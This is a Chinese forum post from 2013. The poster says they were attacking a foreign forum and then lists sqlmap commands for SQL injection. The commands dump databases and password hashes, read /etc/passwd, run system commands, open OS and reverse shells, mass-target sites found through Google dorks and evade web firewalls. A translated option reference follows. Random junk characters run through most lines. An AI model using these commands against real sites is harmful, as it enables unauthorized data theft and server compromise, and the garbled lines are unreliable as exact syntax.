找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2641|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
" F3 @1 ?7 g0 a- hsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
2 i6 t: P! `0 F/ d# H1 }sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名1 E$ _" X6 {, e( d) Z9 w- U; z
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
! y8 i  N: @; U+ Q  _ / z9 ?6 n* V! e& R! }2 T- U. u/ j
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v* R+ \0 D: l) i0 T
0 #获取字段内容9 S# z! I+ h3 i7 b

; q7 |, n6 `1 r4 }/ w# z2 V5 y******************信息获取******************8 ], Y1 p/ ^* \3 `8 y. j9 [) M
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型7 g& B' z. r8 D/ R: Z9 t0 Y- x
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
' X6 b5 O5 a, m, F) \, v0 Ksqlmap -u “http://url/news?id=1″ –dbs#列数据库7 O: S0 N+ n2 B$ c+ W# }
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
7 n: W' y7 K3 ]( j. z+ Fsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码/ U! j# Y" q, h! T- o
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
6 }. N5 B* O* o, a( v–start 1 –stop 20 #列出指定字段,列出20 条
4 u! X4 g7 d  ]( ]8 i: X% t& dsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表) |6 C4 ]4 V4 G" ?# `0 p6 C
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
  P9 j* J3 l7 W/ k$ {sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
3 J1 c! }9 _3 u% v) bsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)& `) H; d1 h: q1 P
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表% A- r& u. C" R9 t' R
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录+ w' r, M* }- a8 g( Z9 Q4 a! m6 `) K5 |
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
# R8 ?: J$ E  q) f6 U" G, Asqlmap -u “http://url/news?id=1″-b #获取banner信息
$ _: y. P( R9 W) G! osqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
; s. C: S/ B6 K* F% ~* d+ t" Psqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
& H) _! H' ~; w& dsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
9 s1 a+ v  {! g0 _+ esqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
; [8 [. f( j) }3 r. Usqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令7 q9 M# C$ O. S, Y
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
8 V+ i$ \2 t1 H4 V  v/ P3 fsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
# z; E" }5 b& U6 J5 s7 Psqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell$ A+ a$ D6 U; [& c" J' d
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
& a& q* s- z* r- h+ |8 Fsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度! f9 b% d4 }( G' m6 L  p/ [" s
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
& g5 n- _# f3 d***********高级用法*************1 g0 q) l+ m! Y1 q% g3 h/ G( T' a
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
# t/ b5 i, q# u: ]6 W  Lsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
5 W0 n3 S7 M" r1 j! A' ~–technique   测试指定注入类型\使用的技术
6 O3 w( R( t: g3 C  S# e' w) H不加参数默认测试所有注入技术# Z" X1 A+ t% t) r0 s( Z% g
•     B: 基于布尔的SQL 盲注
' U- ^  }4 l) I6 e•     E: 基于显错sql 注入
; Y! W/ m! i1 y•     U: 基于UNION 注入8 i8 O, `" F# i/ _! `
•     S: 叠层sql 注入
% Z3 z! [( A: S/ L* I•     T: 基于时间盲注
' p9 A- k5 B, j. X–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()7 o: C* Q% f. F6 ?. ?
–tamper 插件所在目录
: A& M& g+ e; a9 [0 s8 i4 l4 ^\sqlmap-dev\tamper
. N: B7 D' ^, P1 Ksqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
6 K3 Q  d0 n# ]1 Z, Blevel 执行测试等级 攻击实例:; a5 P- U! l0 g" f9 d" F/ o' K
Sqlmap -u “http://url/news?id=1&Submit=Submit”- E% L; l% \$ \4 p' W) t8 E
–cookie=”PHPSESSID=41aa833e6d0d
6 X  ~0 q" ^1 x5 N( d28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
1 }( L1 ?: Z4 V! N0 Q- _7 ]–password  b1 Y, B5 d  k! k
参考文档:http://sqlmap.sourceforge.net/doc/README.html
3 g6 u( W; p7 r9 H* S***********安装最新版本*************
# `/ x5 u# U; H$ N" ]) vubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版2 @1 N, |, k. g0 V  H2 f( `
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev, R' N+ @! m% p. L0 d
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
5 o0 c) L# f8 jsudo vim /home/当前用户/.bashrc
) E  F3 U8 ^: A% l# x#任意位置加上:
' J. R* ~1 Z; H/ ?- X* malias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效9 j6 m- w- F% ^1 ]2 B- c
如果想对所有用户有效 可设置全局 编辑下面的文件
+ B( Y) G3 l. s4 I' b* H; {vim /etc/profile" o3 l3 O. ]" j  t+ i
同样加上:
- R% ?1 x' J/ o, e; q+ e6 nalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
% B1 u7 k% Y; a8 s- H! |) t* R. G******************windows 7 (x64) sqlmap install (SVN)************" Z0 h( q7 R7 B9 u! W% b4 i$ _
http://www.python.org/getit/ 安装python
, h: w0 B" f' [+ {! m7 u2 J+ ~  Bhttp://www.sliksvn.com/en/download 安装windows svn client* k( ~1 |7 E+ ~
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
; w2 \" f! M. T+ K  c5 d, h: [安装sqlmap* Q/ ^8 {  l9 `6 b8 ]+ g( U
*修改环境变量
2 q' s* u0 U4 j) v, ]–version             显示程序的版本号并退出
! u" A! _3 c4 j2 A, F& G& x-h, –help            显示此帮助消息并退出
$ [0 @. D# C, P8 l& O$ s-v VERBOSE            详细级别:0-6(默认为1), [2 P9 G2 c0 ^" H( K# E7 r  U0 K
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。+ Z) b4 t5 @& ~! v
-d DIRECT           直接连接到数据库。; q$ b7 x' U& H1 z( m( Q
-u URL, –url=URL   目标URL。
1 C1 G3 c5 h: c" }- x-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
1 Q! |' x  b5 n/ d% T-r REQUESTFILE      从一个文件中载入HTTP 请求。
5 c% E+ v$ c" t. U-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
- u& n% X1 h- m, j-c CONFIGFILE       从INI 配置文件中加载选项。$ V' }. m* V8 E  a7 V& z
Request(请求)::
) B: n1 a7 ^6 P/ C  G这些选项可以用来指定如何连接到目标URL。
9 _. G# R+ W9 ?% X. c9 X. G. Z–data=DATA         通过POST 发送的数据字符串
2 K. P+ \3 ~+ ^, _–cookie=COOKIE     HTTP Cookie 头
. \$ l7 @7 [8 k/ o–cookie-urlencode  URL 编码生成的cookie 注入
' e2 q% |$ O2 g% Y# `' h–drop-set-cookie   忽略响应的Set –Cookie 头信息% l, e% }' Q: {& g0 }1 |3 a

# j+ H( s4 l* V8 ^–user-agent=AGENT  指定  HTTP User –Agent 头
4 n8 ~) f, F6 D5 b1 \. V–random-agent      使用随机选定的HTTP User –Agent 头* O7 J/ P" M7 Q2 |9 b2 F5 S
–referer=REFERER   指定  HTTP Referer 头
( J- R6 |1 ~2 y–headers=HEADERS   换行分开,加入其他的HTTP 头
$ Y: S7 z5 ^" i+ V+ B' Z–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
/ q: F; H% S' A6 u–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)+ Y; V6 x+ O) H) g) L" ?5 B
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
; ?2 F+ j5 Z/ I2 F, g+ P5 m–proxy=PROXY       使用HTTP 代理连接到目标URL3 y9 t6 I8 A* r! P
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
. {3 r* K) b5 ~, c; o5 o–ignore-proxy      忽略系统默认的HTTP 代理
1 |% G- ]+ `: l- _- n7 w" E- `: Z–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒' w. R/ W* R- C8 K
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
/ `* u2 ]1 G% M% H–retries=RETRIES   连接超时后重新连接的时间(默认3)
# F6 e' r' B/ q8 h0 K- ]–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
+ ?/ Y( a, Q8 P0 X% W–safe-url=SAFURL   在测试过程中经常访问的url 地址
6 x' ^8 p# m# }0 V–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL9 Q/ f$ a7 ^' H. O; ~
Optimization(优化): 这些选项可用于优化SqlMap 的性能。- O, `) c9 s8 O( T+ C
-o                  开启所有优化开关! R3 n6 G3 G" ^( \1 L) i
–predict-output    预测常见的查询输出+ D. h' P7 ~: A
–keep-alive        使用持久的HTTP(S)连接
, n# s* p4 ]/ K- L/ c. E+ x# ^–null-connection   从没有实际的HTTP 响应体中检索页面长度, S- W; x5 ]! c* @' s8 Z6 V) W
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
+ [5 n* L* ?5 H+ Y3 _. _* }; D# BInjection(注入):' j6 \. B4 ^( J# ^! P, P
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。" {- P" o! f0 a: v% ~7 K5 T
-p TESTPARAMETER    可测试的参数(S)
/ ?. K" J! O# X; I7 F9 A–dbms=DBMS         强制后端的DBMS 为此值
2 t: H  N( s( f% _–os=OS             强制后端的DBMS 操作系统为这个值
) k0 U0 d8 t6 x8 A: }: t) B–prefix=PREFIX     注入payload 字符串前缀
$ P" x7 q  G9 \) u–suffix=SUFFIX     注入 payload 字符串后缀8 i- `# t  {0 l5 X
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
/ O0 X5 r. L; XDetection(检测):
6 D1 P7 M* C- E这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。% E9 _% [# `. d/ \# y; ?) H
–level=LEVEL       执行测试的等级(1-5,默认为1)# a' |# a. s" V6 H0 m6 E
–risk=RISK         执行测试的风险(0-3,默认为1)2 S' t% T2 @0 L' j% \
–string=STRING     查询时有效时在页面匹配字符串2 ?% ?3 u8 V% _/ J: @; x5 E
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
' q/ ]! ?, {- p–text-only         仅基于在文本内容比较网页
  J9 {3 ]. _$ Z/ R# Y9 @Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。! U2 c' a4 B: S3 C
–technique=TECH    SQL 注入技术测试(默认BEUST)$ X: Q5 i1 w9 O2 T: \
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
4 T2 b9 ~3 |6 q: u–union-cols=UCOLS  定列范围用于测试UNION 查询注入# E# ^) A& {4 L
–union-char=UCHAR  用于暴力猜解列数的字符
% m- Z6 }& p1 x8 D7 CFingerprint(指纹):
  s, C( b- d  `: s-f, –fingerprint     执行检查广泛的DBMS 版本指纹, i  q/ L2 a# j6 X( a
Enumeration(枚举):
( U6 \( S, j2 E# ~. l# C3 p
" q& N! e( o% t' }' X这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。6 b) ^% T6 N6 t! V
-b, –banner        检索数据库管理系统的标识' x. m. K1 ~5 L" R2 b) I
–current-user      检索数据库管理系统当前用户8 ^* k+ H! @: z: C5 Y( l
–current-db        检索数据库管理系统当前数据库
2 c6 C" k) b3 A! y1 z; u–is-dba            检测DBMS 当前用户是否DBA; {3 }! w/ l  O  W6 S
–users             枚举数据库管理系统用户8 S1 z. b  t) `1 ?+ U" C
–passwords         枚举数据库管理系统用户密码哈希  u$ [$ w: M& @; M; ]
–privileges        枚举数据库管理系统用户的权限
$ o) b# D  U) A; ?) H9 |0 B–roles             枚举数据库管理系统用户的角色+ I; M5 @7 [. g# O! s' E0 B7 |
–dbs               枚举数据库管理系统数据库# S- F1 d3 r& a6 S
–tables            枚举的DBMS 数据库中的表
5 U# U$ k$ M: L' I1 j–columns           枚举DBMS 数据库表列
. K' X0 ^" ^5 I8 ?. q) U–dump              转储数据库管理系统的数据库中的表项; O; [. Q$ K  ?& k* U9 `3 n) M
–dump-all          转储所有的DBMS 数据库表中的条目
3 b- F- v/ e8 C  k–search            搜索列(S),表(S)和/或数据库名称(S)4 b5 {( ~+ ^2 Z* k* b3 b
-D DB               要进行枚举的数据库名$ Q# p6 l: v  _9 Z0 Q) [# o
-T TBL              要进行枚举的数据库表8 x& {* E2 X5 L$ _
-C COL              要进行枚举的数据库列# J/ m: n5 u8 {; s; l7 f. F
-U USER             用来进行枚举的数据库用户5 Q: R* n8 b. }
–exclude-sysdbs    枚举表时排除系统数据库
- |. t4 \6 }3 P' w5 S( c–start=LIMITSTART  第一个查询输出进入检索" t7 ~. q' ~1 Z/ T
–stop=LIMITSTOP    最后查询的输出进入检索, d8 ]( k3 ^) H
–first=FIRSTCHAR   第一个查询输出字的字符检索2 U$ @: ~% `2 h- ?% [: v# Z+ }
–last=LASTCHAR     最后查询的输出字字符检索
  N+ A+ w$ W  S% s+ m–sql-query=QUERY   要执行的SQL 语句/ r" v! H4 \1 T# y' |5 N7 W' g
–sql-shell         提示交互式SQL 的shell
9 V; v( e6 E! wBrute force(蛮力): 这些选项可以被用来运行蛮力检查。1 `* T7 |; d$ l" C' J; Z/ n  Q$ W5 V
–common-tables     检查存在共同表- L9 a; f" U* y, J* x0 b
–common-columns    检查存在共同列
) V9 b' o8 P  g) r- C: @User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
: p2 g- L  t2 B# g9 X–udf-inject        注入用户自定义函数6 [2 t3 Y& I1 Z( x
–shared-lib=SHLIB  共享库的本地路径
. O% B. ]3 n5 TFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。5 p. i# c8 @6 @0 ?
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
- S4 R2 |5 T; {! G! p–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件9 J) U6 O" T) L+ Q0 o& l6 j; M
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径" e- I, N' m, G& E% n; P/ |
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
$ o9 ~3 c( \/ @3 h6 R–os-cmd=OSCMD      执行操作系统命令: k1 Z' F' D! Z
–os-shell          交互式的操作系统的shell7 ^7 A" L( _% @6 `; @
–os-pwn            获取一个OOB shell,meterpreter 或VNC
8 Z3 {1 @& N, N* e–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC2 w! S% _1 G  W" _( e
–os-bof            存储过程缓冲区溢出利用3 K6 s6 w$ M# R- x6 O8 Q1 k6 S
–priv-esc          数据库进程用户权限提升: n, z2 e) R9 x3 w( D; k( K& N
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径8 r' e" i' e* p: z  J
–tmp-path=TMPPATH  远程临时文件目录的绝对路径  {9 I! |9 e, U

9 f* S* m$ [3 Z( K5 W) o* FWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
  \3 D( s, {( ]% x–reg-read          读一个Windows 注册表项值# Y1 [/ J4 Q: b" r2 E7 p6 K8 n* u
–reg-add           写一个Windows 注册表项值数据
2 z5 A  b1 H! R2 f9 j# k/ g–reg-del           删除Windows 注册表键值- H' g/ a3 c; i) w3 K
–reg-key=REGKEY    Windows 注册表键
" m3 c8 g$ n6 g! B# {6 f–reg-value=REGVAL  Windows 注册表项值
3 }  X3 K% |* u; k–reg-data=REGDATA  Windows 注册表键值数据
9 [' [$ V4 `7 s& w–reg-type=REGTYPE  Windows 注册表项值类型
/ e1 Y3 K3 W! {General(一般): 这些选项可以用来设置一些一般的工作参数。
( e% _3 P4 `9 S+ q& o) @# Z6 w-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
% b0 x- j* q7 p! f  Q4 w6 \-s SESSIONFILE      保存和恢复检索会话文件的所有数据
4 i8 L- u1 m2 K, o9 M& g3 W–flush-session     刷新当前目标的会话文件  L# i2 A7 c* H) F4 D0 y! F
–fresh-queries     忽略在会话文件中存储的查询结果
# j/ n4 o& f, g( E' {7 `  D–eta               显示每个输出的预计到达时间
* q: C, Y. V  v& d–update            更新SqlMap  Y: E  P& h; ?# [6 S
–save              file 保存选项到INI 配置文件4 T& u0 }5 f" @7 w9 W+ h) Z3 ^2 S. J9 t
–batch             从不询问用户输入,使用所有默认配置。
, D, \- L. m! ]: K1 DMiscellaneous(杂项):
: V* }4 N: J! T2 C–beep              发现SQL 注入时提醒* [. \% @# f+ S% A! J5 V% P
–check-payload     IDS 对注入payloads 的检测测试0 F2 o  w2 a$ C7 z# v
–cleanup           SqlMap 具体的UDF 和表清理DBMS
) v: v3 X* n) k$ i2 Q% T–forms             对目标URL 的解析和测试形式
) R. r2 ^) g$ Y7 |1 L–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果; [) ?8 Q0 Z% q4 {0 o+ F
–page-rank         Google dork 结果显示网页排名(PR)
: E) T0 V" w2 p, U# I- R–parse-errors      从响应页面解析数据库管理系统的错误消息/ ^; H: |( F, u8 v( W* c) t
–replicate         复制转储的数据到一个sqlite3 数据库
( d) G5 u: E) P# `–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址. g* A2 n6 r6 o. {! Y
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表